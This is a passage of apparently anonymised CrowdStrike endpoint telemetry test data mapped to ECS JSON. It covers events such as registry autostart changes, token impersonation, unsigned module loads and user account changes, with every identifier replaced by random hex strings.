"{\"ContextThreadId\":\"908900717009000\",\"aip\":\"81.2.69.142\",\"RegObjectName\":\"\\\\85aaee17\\\\92b7\\\\79f42eec\\\\4f779032\\\\c7bac469\\\\d598026\\\\1f728162\\\\00d\",\"RegOperationType\":\"1\",\"RegKeyName\":\"\",\"event_platform\":\"Win\",\"TargetCommandLineParameters\":\"8 829462947afcd60b102 5385ab5330ba103afe7\",\"PatternId\":\"730\",\"RegConfigValueType\":\"0\",\"RegConfigFlags\":\"0\",\"EventOrigin\":\"1\",\"id\":\"6a3e0c317c79a163daff6f7ff43b0f8b638f\",\"EffectiveTransmissionClass\":\"3\",\"RegStringValue\":\"5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 829462947afcd60b102 5385ab5330ba103afe7\",\"RegConfigClass\":\"40\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"SuspiciousRegAsepUpdate\",\"ContextTimeStamp\":\"1750976386.666\",\"ConfigStateHash\":\"9968901000\",\"ContextProcessId\":\"6460070801000\",\"RegType\":\"1\",\"RegConfigIndex\":\"1\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"RegValueName\":\"2249bd3e5b556707004d9a368b5d3bdf235dff7662d9975c39f5df17\",\"CommandLine\":\"5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 2562f5cbf8a8bf3b250bd51a8fe\",\"TargetSHA256HashData\":\"61f2a019c0fa12f061b4fed2c5d10a4a7165db190bbaf218fc58560b7d926462\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\8027a4f5\\\\c7bac469\\\\0f82\\\\e7ad522e\\\\434d12.exe\",\"Entitlements\":\"16\",\"name\":\"d6768a557290bddc8f464a531\",\"aid\":\"f7e49d5e0a65ac9907089989782717df\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\8027a4f5\\\\c7bac469\\\\0f82\\\\e7ad522e\\\\434d12.exe\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "file": { - "directory": "\\6ba0bd\\447b992c\\8027a4f5\\c7bac469\\0f82\\e7ad522e", - "extension": "exe", - "name": "434d12.exe", - "path": "\\6ba0bd\\447b992c\\8027a4f5\\c7bac469\\0f82\\e7ad522e\\434d12.exe", - "type": "file" - }, - "host": { - "id": "f7e49d5e0a65ac9907089989782717df", - "os": { - "type": "windows" - } - }, - "message": "SuspiciousRegAsepUpdate", - "observer": { - "address": [ - "81.2.69.142" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.142" - ], - "serial_number": "f7e49d5e0a65ac9907089989782717df", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "args": [ - "5f20a496dc8", - "abc7e", - "14a2e558d6bf189c90709e05527870fad3d5d824c560", - "2562f5cbf8a8bf3b250bd51a8fe" - ], - "args_count": 4, - "command_line": "5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 2562f5cbf8a8bf3b250bd51a8fe", - "entity_id": "6460070801000", - "executable": "\\6ba0bd\\447b992c\\8027a4f5\\c7bac469\\0f82\\e7ad522e\\434d12.exe", - "name": "434d12.exe", - "thread": { - "id": 908900717009000 - } - }, - "registry": { - "data": { - "strings": [ - "5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 829462947afcd60b102 5385ab5330ba103afe7" - ], - "type": "REG_SZ" - }, - "key": "\\85aaee17\\92b7\\79f42eec\\4f779032\\c7bac469\\d598026\\1f728162\\00d", - "path": "\\85aaee17\\92b7\\79f42eec\\4f779032\\c7bac469\\d598026\\1f728162\\00d\\2249bd3e5b556707004d9a368b5d3bdf235dff7662d9975c39f5df17", - "value": "2249bd3e5b556707004d9a368b5d3bdf235dff7662d9975c39f5df17" - }, - "related": { - "hash": [ - "9968901000" - ], - "ip": [ - "81.2.69.142" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "3440491101", - "ContextProcessId": "2000535704803", - "EffectiveTransmissionClass": "3", - "Entitlements": "56", - "EventOrigin": "1", - "ImpersonatedUserName": "9bf10282", - "OriginalParentAuthenticationId": "891487", - "OriginalUserName": "3d0d64ac1d9faf", - "OriginalUserSid": "S-33232-15769-33973-56426-34173-11558-64704-78944", - "ParentAuthenticationId": "221030", - "PatternId": "830", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "d1330c5a8472345299901dcafcb6e741c04f", - "name": "4b8f55f326fbe33b3cf" - }, - "device": { - "id": "8ac4bf42d697d6476a2087a305f0a8a7" - }, - "event": { - "action": "TokenImpersonated", - "category": [ - "process", - "authentication" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "d1330c5a8472345299901dcafcb6e741c04f|8ac4bf42d697d6476a2087a305f0a8a7|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"ImpersonatedUserName\":\"9bf10282\",\"event_simpleName\":\"TokenImpersonated\",\"OriginalParentAuthenticationId\":\"891487\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"2000535704803\",\"aip\":\"81.2.69.142\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"ParentAuthenticationId\":\"221030\",\"PatternId\":\"830\",\"OriginalUserName\":\"3d0d64ac1d9faf\",\"Entitlements\":\"56\",\"name\":\"4b8f55f326fbe33b3cf\",\"EventOrigin\":\"1\",\"id\":\"d1330c5a8472345299901dcafcb6e741c04f\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"8ac4bf42d697d6476a2087a305f0a8a7\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"OriginalUserSid\":\"S-33232-15769-33973-56426-34173-11558-64704-78944\"}", - "outcome": "success", - "type": [ - "info", - "change" - ] - }, - "host": { - "id": "8ac4bf42d697d6476a2087a305f0a8a7", - "os": { - "type": "windows" - } - }, - "message": "TokenImpersonated", - "observer": { - "address": [ - "81.2.69.142" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.142" - ], - "serial_number": "8ac4bf42d697d6476a2087a305f0a8a7", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "2000535704803" - }, - "related": { - "hash": [ - "3440491101" - ], - "ip": [ - "81.2.69.142" - ], - "user": [ - "3d0d64ac1d9faf", - "9bf10282", - "S-33232-15769-33973-56426-34173-11558-64704-78944" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "S-33232-15769-33973-56426-34173-11558-64704-78944", - "name": "3d0d64ac1d9faf", - "target": { - "name": "9bf10282" - } - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "1003503072", - "ContextProcessId": "9000960041280", - "ContextTimeStamp": "2025-09-11T16:50:47.289Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "26", - "EventOrigin": "1", - "ExtendedKeyUsages": "0", - "ImageFileName": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a849da.dll", - "MappedFromUserMode": "1", - "ModuleCharacteristics": "7600", - "PublicKeys": "0", - "SignatureErrorState": "36", - "SignatureState": "0", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "fbdd0412d2d062a8e7f05ca768974728fd13", - "name": "7218b6fd46f62d142cab" - }, - "device": { - "id": "748b16033ae2f04b415a38442969be05" - }, - "dll": { - "hash": { - "sha256": "d33f9222e63c57664aae875621fb2a6e264f5fbfb6fd9aece111e04017d720e1" - }, - "name": "a849da.dll" - }, - "event": { - "action": "UnsignedModuleLoad", - "category": [ - "library" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "fbdd0412d2d062a8e7f05ca768974728fd13|748b16033ae2f04b415a38442969be05|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"SignatureErrorState\":\"36\",\"ModuleCharacteristics\":\"7600\",\"ContextThreadId\":\"0\",\"aip\":\"89.160.20.112\",\"PublicKeys\":\"0\",\"event_platform\":\"Win\",\"SignatureState\":\"0\",\"MappedFromUserMode\":\"1\",\"EventOrigin\":\"1\",\"id\":\"fbdd0412d2d062a8e7f05ca768974728fd13\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"UnsignedModuleLoad\",\"ContextTimeStamp\":\"1757609447.289\",\"ConfigStateHash\":\"1003503072\",\"ContextProcessId\":\"9000960041280\",\"SHA256HashData\":\"d33f9222e63c57664aae875621fb2a6e264f5fbfb6fd9aece111e04017d720e1\",\"ExtendedKeyUsages\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TargetProcessId\":\"4000960041280\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\a849da.dll\",\"Entitlements\":\"26\",\"name\":\"7218b6fd46f62d142cab\",\"aid\":\"748b16033ae2f04b415a38442969be05\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "id": "748b16033ae2f04b415a38442969be05", - "os": { - "type": "windows" - } - }, - "message": "UnsignedModuleLoad", - "observer": { - "address": [ - "89.160.20.112" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.112" - ], - "serial_number": "748b16033ae2f04b415a38442969be05", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "4000960041280", - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "d33f9222e63c57664aae875621fb2a6e264f5fbfb6fd9aece111e04017d720e1", - "1003503072" - ], - "ip": [ - "89.160.20.112" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "710307050", - "ContextTimeStamp": "2025-09-22T13:04:44.942Z", - "DomainSid": "S-76712-65017-53475-35458-99339-49376", - "EffectiveTransmissionClass": "3", - "Entitlements": "46", - "EventOrigin": "1", - "GroupRid": "53034222", - "InterfaceGuid": "16517693cc50d618b7a2250bd5ecb896739b", - "InterfaceVersion": "30255", - "RpcClientProcessId": "4040097800001", - "RpcClientThreadId": "274278017040400", - "RpcNestingLevel": "0", - "RpcOpNum": "30", - "UserRid": "04f8c66f", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "4c0cf1755eaa94d6f52251e3d52f5ff6902f", - "name": "6f757290de34b1b1afde18238" - }, - "device": { - "id": "822724472847066e07121bc67f0675c0" - }, - "event": { - "action": "UserAccountAddedToGroup", - "category": [ - "configuration", - "iam" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "4c0cf1755eaa94d6f52251e3d52f5ff6902f|822724472847066e07121bc67f0675c0|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"event_simpleName\":\"UserAccountAddedToGroup\",\"ContextTimeStamp\":\"1758546284.942\",\"ConfigStateHash\":\"710307050\",\"InterfaceVersion\":\"30255\",\"GroupRid\":\"53034222\",\"aip\":\"81.2.69.192\",\"RpcClientThreadId\":\"274278017040400\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"UserRid\":\"04f8c66f\",\"event_platform\":\"Win\",\"DomainSid\":\"S-76712-65017-53475-35458-99339-49376\",\"RpcOpNum\":\"30\",\"Entitlements\":\"46\",\"name\":\"6f757290de34b1b1afde18238\",\"EventOrigin\":\"1\",\"InterfaceGuid\":\"16517693cc50d618b7a2250bd5ecb896739b\",\"RpcClientProcessId\":\"4040097800001\",\"id\":\"4c0cf1755eaa94d6f52251e3d52f5ff6902f\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"822724472847066e07121bc67f0675c0\",\"RpcNestingLevel\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "change", - "group" - ] - }, - "host": { - "id": "822724472847066e07121bc67f0675c0", - "os": { - "type": "windows" - } - }, - "message": "UserAccountAddedToGroup", - "observer": { - "address": [ - "81.2.69.192" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.192" - ], - "serial_number": "822724472847066e07121bc67f0675c0", - "version": "2c8b.4.ae3729d.e6" - }, - "related": { - "hash": [ - "710307050" - ], - "ip": [ - "81.2.69.192" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "2015000411", - "ContextTimeStamp": "2025-10-21T07:53:06.899Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "86", - "EventOrigin": "1", - "InterfaceGuid": "16517693cc50d618b7a2250bd5ecb896739b", - "InterfaceVersion": "50255", - "RpcNestingLevel": "1", - "RpcOpNum": "70", - "UserRid": "90dd1c44", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "bd490a761a3f397c1a778b589441993b3091", - "name": "92d863b43efb433535db" - }, - "device": { - "id": "ea33b281ab769f0d09855298c2b43f40" - }, - "event": { - "action": "UserAccountCreated", - "category": [ - "configuration", - "iam" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "bd490a761a3f397c1a778b589441993b3091|ea33b281ab769f0d09855298c2b43f40|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"event_simpleName\":\"UserAccountCreated\",\"ContextTimeStamp\":\"1761033186.899\",\"UserName\":\"dcf80328\",\"ConfigStateHash\":\"2015000411\",\"InterfaceVersion\":\"50255\",\"aip\":\"89.160.20.112\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"UserRid\":\"90dd1c44\",\"event_platform\":\"Win\",\"RpcOpNum\":\"70\",\"Entitlements\":\"86\",\"name\":\"92d863b43efb433535db\",\"EventOrigin\":\"1\",\"InterfaceGuid\":\"16517693cc50d618b7a2250bd5ecb896739b\",\"id\":\"bd490a761a3f397c1a778b589441993b3091\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ea33b281ab769f0d09855298c2b43f40\",\"RpcNestingLevel\":\"1\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "host": { - "id": "ea33b281ab769f0d09855298c2b43f40", - "os": { - "type": "windows" - } - }, - "message": "UserAccountCreated", - "observer": { - "address": [ - "89.160.20.112" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.112" - ], - "serial_number": "ea33b281ab769f0d09855298c2b43f40", - "version": "2c8b.4.bab7095.e6" - }, - "related": { - "hash": [ - "2015000411" - ], - "ip": [ - "89.160.20.112" - ], - "user": [ - "dcf80328" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "dcf80328" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "2080025170", - "ContextTimeStamp": "2025-05-02T01:01:24.771Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "76", - "EventOrigin": "1", - "InterfaceGuid": "16517693cc50d618b7a2250bd5ecb896739b", - "InterfaceVersion": "60255", - "RpcClientProcessId": "7301001105000", - "RpcClientThreadId": "127103017599004", - "RpcNestingLevel": "0", - "RpcOpNum": "90", - "UserRid": "77bd1eaf", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "3229287b6fe92ef5336c913502cf9ef8fdf3", - "name": "0b8f5280c9729fa19531" - }, - "device": { - "id": "bae5bafaeb93295d398bf55b8ba1cf01" - }, - "event": { - "action": "UserAccountDeleted", - "category": [ - "configuration", - "iam" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "3229287b6fe92ef5336c913502cf9ef8fdf3|bae5bafaeb93295d398bf55b8ba1cf01|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"event_simpleName\":\"UserAccountDeleted\",\"ContextTimeStamp\":\"1746147684.771\",\"UserName\":\"6621349aab8086fca29\",\"ConfigStateHash\":\"2080025170\",\"InterfaceVersion\":\"60255\",\"aip\":\"89.160.20.128\",\"RpcClientThreadId\":\"127103017599004\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"UserRid\":\"77bd1eaf\",\"event_platform\":\"Win\",\"RpcOpNum\":\"90\",\"Entitlements\":\"76\",\"name\":\"0b8f5280c9729fa19531\",\"EventOrigin\":\"1\",\"InterfaceGuid\":\"16517693cc50d618b7a2250bd5ecb896739b\",\"RpcClientProcessId\":\"7301001105000\",\"id\":\"3229287b6fe92ef5336c913502cf9ef8fdf3\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"bae5bafaeb93295d398bf55b8ba1cf01\",\"RpcNestingLevel\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "deletion" - ] - }, - "host": { - "id": "bae5bafaeb93295d398bf55b8ba1cf01", - "os": { - "type": "windows" - } - }, - "message": "UserAccountDeleted", - "observer": { - "address": [ - "89.160.20.128" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.128" - ], - "serial_number": "bae5bafaeb93295d398bf55b8ba1cf01", - "version": "2c8b.4.bab7095.e6" - }, - "related": { - "hash": [ - "2080025170" - ], - "ip": [ - "89.160.20.128" - ], - "user": [ - "6621349aab8086fca29" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "6621349aab8086fca29" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "BoundingLimitCount": 2, - "BoundingLimitDuration": "9486640", - "ConfigStateHash": "3440491101", - "ContextProcessId": "1635100019002", - "ContextTimeStamp": "2025-06-15T20:35:09.552Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "66", - "EventOrigin": "1", - "ExceptionAddress": "1700460906", - "ExceptionCode": "5205000410", - "ExceptionInformation0": "8", - "FullExceptionRecord": "5d14ed407e29b2a4faf1a84e5b18504d02c670a34dee3f51a7fa3fc95ff8d263", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "5829a31e854865b7f675feb7d878b239adc2", - "name": "709aee1e8c3c110bf8" - }, - "device": { - "id": "c98cd5436ddf270308dd9d267fd914a0" - }, - "event": { - "action": "UserExceptionDEP", - "category": [ - "process", - "malware" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "5829a31e854865b7f675feb7d878b239adc2|c98cd5436ddf270308dd9d267fd914a0|4092825518eaf67377a6e4492ae44577", - "kind": "alert", - "original": "{\"event_simpleName\":\"UserExceptionDEP\",\"ContextTimeStamp\":\"1750019709.552\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"1635100019002\",\"FullExceptionRecord\":\"5d14ed407e29b2a4faf1a84e5b18504d02c670a34dee3f51a7fa3fc95ff8d263\",\"FullContext\":\"\",\"ContextThreadId\":\"34508563003090\",\"aip\":\"216.160.83.56\",\"BoundingLimitCount\":\"2\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"ExceptionAddress\":\"1700460906\",\"BoundingLimitDuration\":\"9486640\",\"Entitlements\":\"66\",\"name\":\"709aee1e8c3c110bf8\",\"ExceptionInformation0\":\"8\",\"EventOrigin\":\"1\",\"id\":\"5829a31e854865b7f675feb7d878b239adc2\",\"ExceptionCode\":\"5205000410\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"c98cd5436ddf270308dd9d267fd914a0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "info" - ] - }, - "host": { - "id": "c98cd5436ddf270308dd9d267fd914a0", - "os": { - "type": "windows" - } - }, - "message": "UserExceptionDEP", - "observer": { - "address": [ - "216.160.83.56" - ], - "geo": { - "city_name": "Milton", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 47.2513, - "lon": -122.3149 - }, - "region_iso_code": "US-WA", - "region_name": "Washington" - }, - "ip": [ - "216.160.83.56" - ], - "serial_number": "c98cd5436ddf270308dd9d267fd914a0", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "1635100019002", - "thread": { - "id": 34508563003090 - } - }, - "related": { - "hash": [ - "3440491101" - ], - "ip": [ - "216.160.83.56" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "BoundingLimitCount": 3, - "BoundingLimitDuration": "9486640", - "ConfigStateHash": "6080600092", - "ContextProcessId": "8108160208087", - "ContextTimeStamp": "2025-07-21T22:33:37.791Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "66", - "EventOrigin": "1", - "FontBuffer": "0", - "FontBufferLength": "0", - "FontFileCount": 1, - "FontFileName": "\\e2\\82\\6b0cc\\15dad1a2\\0f51ad6\\8c31e\\c7bac469\\a39f4a16\\4\\6ad6049f\\51833\\fce70f15.ttf", - "FontLoadOperation": "0", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "3b3a10fec73cc70efcba7d10700c60647a00", - "name": "be33367389afc8" - }, - "device": { - "id": "30fcb474d1c19854928cfea68625715f" - }, - "event": { - "action": "UserFontLoad", - "category": [ - "configuration" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "3b3a10fec73cc70efcba7d10700c60647a00|30fcb474d1c19854928cfea68625715f|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"event_simpleName\":\"UserFontLoad\",\"ContextTimeStamp\":\"1753137217.791\",\"ConfigStateHash\":\"6080600092\",\"ContextProcessId\":\"8108160208087\",\"ContextThreadId\":\"680008007040906\",\"aip\":\"89.160.20.112\",\"BoundingLimitCount\":\"3\",\"FontBufferLength\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"FontFileCount\":\"1\",\"BoundingLimitDuration\":\"9486640\",\"Entitlements\":\"66\",\"name\":\"be33367389afc8\",\"FontLoadOperation\":\"0\",\"EventOrigin\":\"1\",\"FontBuffer\":\"0\",\"id\":\"3b3a10fec73cc70efcba7d10700c60647a00\",\"FontFileName\":\"\\\\e2\\\\82\\\\6b0cc\\\\15dad1a2\\\\0f51ad6\\\\8c31e\\\\c7bac469\\\\a39f4a16\\\\4\\\\6ad6049f\\\\51833\\\\fce70f15.ttf\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"30fcb474d1c19854928cfea68625715f\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "30fcb474d1c19854928cfea68625715f", - "os": { - "type": "windows" - } - }, - "message": "UserFontLoad", - "observer": { - "address": [ - "89.160.20.112" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.112" - ], - "serial_number": "30fcb474d1c19854928cfea68625715f", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "8108160208087", - "thread": { - "id": 680008007040906 - } - }, - "related": { - "hash": [ - "6080600092" - ], - "ip": [ - "89.160.20.112" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AuthenticationId": "5270089006", - "AuthenticationPackage": "43c19a09", - "ConfigStateHash": "3440491101", - "ContextProcessId": "6990300009751", - "EffectiveTransmissionClass": "2", - "Entitlements": "66", - "EventOrigin": "1", - "LogonId": "6270089006", - "LogonTime": "2025-04-29T21:57:39.717Z", - "LogonType": "3", - "RemoteAccount": "0", - "ResendToCloud": "0", - "SessionId": "0", - "UserFlags": "0", - "UserLogonFlags": "0", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "ffafe1a8278f88b8c976d452dc465830bd1c", - "name": "6843b5d61bb2e5" - }, - "device": { - "id": "443de0bbc349316f0d394439c57beaba" - }, - "event": { - "action": "UserIdentity", - "category": [ - "authentication", - "iam" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "ffafe1a8278f88b8c976d452dc465830bd1c|443de0bbc349316f0d394439c57beaba|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"UserIsAdmin\":\"0\",\"LogonTime\":\"1745963859.717\",\"UserCanonical\":\"\",\"ContextThreadId\":\"95004910750900\",\"aip\":\"81.2.69.192\",\"LogonDomain\":\"6e\",\"RemoteAccount\":\"0\",\"UserSid\":\"S-63628-61824-76998-75961-49681-10653-90491\",\"event_platform\":\"Win\",\"UserFlags\":\"0\",\"EventOrigin\":\"1\",\"LogonServer\":\"\",\"id\":\"ffafe1a8278f88b8c976d452dc465830bd1c\",\"EffectiveTransmissionClass\":\"2\",\"LogonId\":\"6270089006\",\"SessionId\":\"0\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"UserIdentity\",\"UserName\":\"395963bcc1c482b8ac\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"6990300009751\",\"ResendToCloud\":\"0\",\"LogonType\":\"3\",\"AuthenticationPackage\":\"43c19a09\",\"UserPrincipal\":\"\",\"AuthenticationId\":\"5270089006\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"PasswordLastSet\":\"\",\"Entitlements\":\"66\",\"name\":\"6843b5d61bb2e5\",\"UserLogonFlags\":\"0\",\"aid\":\"443de0bbc349316f0d394439c57beaba\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "info", - "user" - ] - }, - "host": { - "domain": "6e", - "id": "443de0bbc349316f0d394439c57beaba", - "os": { - "type": "windows" - } - }, - "message": "UserIdentity", - "observer": { - "address": [ - "81.2.69.192" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.192" - ], - "serial_number": "443de0bbc349316f0d394439c57beaba", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "6990300009751", - "thread": { - "id": 95004910750900 - } - }, - "related": { - "hash": [ - "3440491101" - ], - "ip": [ - "81.2.69.192" - ], - "user": [ - "395963bcc1c482b8ac", - "S-63628-61824-76998-75961-49681-10653-90491" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "S-63628-61824-76998-75961-49681-10653-90491", - "name": "395963bcc1c482b8ac" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AuthenticationId": "9134169010", - "AuthenticationPackage": "80af", - "ConfigStateHash": "3440491101", - "EffectiveTransmissionClass": "2", - "Entitlements": "66", - "EventOrigin": "1", - "LogoffTime": "2025-04-29T07:52:34.660Z", - "LogonServer": "742a2b40", - "LogonTime": "2025-04-30T05:05:29.811Z", - "LogonType": "4", - "PasswordLastSet": "1677255764.322", - "RemoteAccount": "0", - "UserFlags": "230", - "UserLogoffType": "3", - "UserLogonFlags": "6", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "d42b0220749ccf3c12046d08207cd42e3e36", - "name": "035509012de2" - }, - "device": { - "id": "e4b4d652bb68d0b6eaf25c3a357bd566" - }, - "event": { - "action": "UserLogoff", - "category": [ - "authentication" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "d42b0220749ccf3c12046d08207cd42e3e36|e4b4d652bb68d0b6eaf25c3a357bd566|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": 